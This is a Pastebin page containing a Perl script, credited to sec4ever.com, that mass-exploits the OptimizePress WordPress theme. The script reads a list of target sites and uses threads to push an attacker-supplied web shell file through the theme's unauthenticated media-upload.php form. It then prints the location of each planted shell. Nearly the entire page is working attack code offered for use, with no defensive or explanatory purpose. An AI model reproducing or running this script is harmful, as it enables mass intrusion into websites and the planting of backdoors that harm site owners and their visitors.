Advertisement
m-a_labz

OptimizePress theme exploiter

May 28th, 2014
981
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 1.15 KB | None | 0 0
  1. # OptimizePress theme exploiter
  2. # (c) sec4ever.com
  3. use WWW::Mechanize;
  4. use threads;
  5. defined($ARGV[0] && $ARGV[1] && $ARGV[2]) ? $file = $ARGV[0] : die "+ usage: perl $0 sites.txt evil.phtml threads\n";
  6. print "[+] sec4ever.com\n";
  7. $evil = $ARGV[1];
  8. $thr = $ARGV[2];
  9. open(sites,"<".$file) or die $!;
  10. while($site = <sites>)
  11. {
  12. chomp($site);
  13. $site = cleanurl($site);
  14. push(@threads, threads->create (\&ex, $site));
  15. sleep(1) while(scalar threads->list(threads::running) >= $thr);
  16. }
  17. eval {
  18. $_->join foreach @threads;
  19. @threads = ();
  20. };
  21. close(sites);
  22. sub ex {
  23. print " + $site | ";
  24. eval{
  25. $ex = WWW::Mechanize->new(timeout => 10);
  26. $ex->get("http://".$_[0]."/wp-content/themes/OptimizePress/lib/admin/media-upload.php");
  27. $ex->submit_form(
  28. form_id => "csimgupload",
  29. fields => {
  30. newcsimg => $evil
  31. });
  32. };
  33. if($ex->content() =~ /<img src=\"(.*?)$ARGV[1]"/)
  34. {
  35. print "shell: ".$1.$ARGV[1]."\n";
  36. }else{
  37. print "faild\n";
  38. }
  39. }
  40. sub cleanurl {
  41. $_[0] =~ /http[s]?:\/\/[www\.]{3}?[\.]?/g ? $_[0] =~ s/http[s]?:\/\/[www\.]{3}?[\.]?//g : "";
  42. $_[0] =~ /http[s]?:\/\//g ? $_[0] =~ s/http[s]?:\/\///g : "";
  43. $_[0] =~ /[\/]$/m ? $_[0] =~ s/[\/]$// : "";
  44. return $_[0];
  45. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement